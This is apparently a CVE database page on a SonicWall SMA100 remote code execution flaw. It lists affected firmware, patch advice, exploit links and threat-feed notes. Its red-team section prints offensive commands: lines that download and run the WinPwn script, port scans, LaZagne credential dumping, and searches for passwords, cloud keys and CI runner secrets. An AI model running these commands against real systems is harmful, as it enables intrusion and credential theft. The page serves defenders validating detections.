CVE-2021-20038
Overview
This vulnerability is a stack-based buffer overflow caused by improper handling of environment variables within the mod_cgi module of the Apache httpd server on SonicWall SMA100 appliances. The flaw arises from insufficient bounds checking when processing environment variable inputs, leading to memory corruption. The affected component is the mod_cgi module embedded in the SMA100 firmware versions up to 10.2.1.2-24sv across multiple SMA appliance models.
Vulnerability Description
A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with 'nobody' user privileges on the affected appliance. This enables potential full compromise of the device, including unauthorized command execution and service disruption. No user interaction or valid credentials are required to trigger the exploit, increasing the attack surface and risk of widespread exploitation in network environments relying on vulnerable SMA appliances.
Solution
SonicWall has released firmware updates addressing this vulnerability in versions later than 10.2.1.2-24sv for SMA 200, 210, 400, 410, and 500v appliances. Administrators should apply the latest patches as detailed in SonicWall's official advisory (SNWLID-2021-0026) available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026. Following vendor guidance for updating firmware is critical to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (15)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Sma 200 Firmware | 10.2.0.8-37sv |
cpe:2.3:o:sonicwall:sma_200_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 200 Firmware | 10.2.1.1-19sv |
cpe:2.3:o:sonicwall:sma_200_firmware:10.2.1.1-19sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 200 Firmware | 10.2.1.2-24sv |
cpe:2.3:o:sonicwall:sma_200_firmware:10.2.1.2-24sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | 10.2.0.8-37sv |
cpe:2.3:o:sonicwall:sma_210_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | 10.2.1.1-19sv |
cpe:2.3:o:sonicwall:sma_210_firmware:10.2.1.1-19sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | 10.2.1.2-24sv |
cpe:2.3:o:sonicwall:sma_210_firmware:10.2.1.2-24sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | 10.2.0.8-37sv |
cpe:2.3:o:sonicwall:sma_410_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | 10.2.1.1-19sv |
cpe:2.3:o:sonicwall:sma_410_firmware:10.2.1.1-19sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | 10.2.1.2-24sv |
cpe:2.3:o:sonicwall:sma_410_firmware:10.2.1.2-24sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | 10.2.0.8-37sv |
cpe:2.3:o:sonicwall:sma_400_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | 10.2.1.1-19sv |
cpe:2.3:o:sonicwall:sma_400_firmware:10.2.1.1-19sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | 10.2.1.2-24sv |
cpe:2.3:o:sonicwall:sma_400_firmware:10.2.1.2-24sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v Firmware | 10.2.0.8-37sv |
cpe:2.3:o:sonicwall:sma_500v_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v Firmware | 10.2.1.1-19sv |
cpe:2.3:o:sonicwall:sma_500v_firmware:10.2.1.1-19sv:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v Firmware | 10.2.1.2-24sv |
cpe:2.3:o:sonicwall:sma_500v_firmware:10.2.1.2-24sv:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
SonicWall SMA 100 Series Authenticated Command Injection
exploits/linux/http/sonicwall_cve_2021_20039
|
jbaines-r7 | Unknown | - | View |
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jbaines-r7/badblood
SonicWall SMA-100 Unauth RCE Exploit (CVE-2021-20038)
|
jbaines-r7 | 95 | 22 | 2022-01-11 | View |
|
vesperp/CVE-2021-20038-SonicWall-RCE
|
vesperp | 1 | 0 | 2022-08-08 | View |
|
anir0y/sonicwall-audit-toolkit
SonicWall security audit toolkit with vulnerable CTF lab (CVE-2021-20038, CVE-2024-53704)
|
anir0y | 0 | 0 | 2026-02-23 | View |
Threat Feed
14 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-20038 |
| psirt.global.sonicwall.com |
GitHub CVE
x_refsource_CONFIRM
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/jbaines-r7/badblood |
| rapid7.com |
GitHub CVE
x_refsource_MISC
|
https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20038 |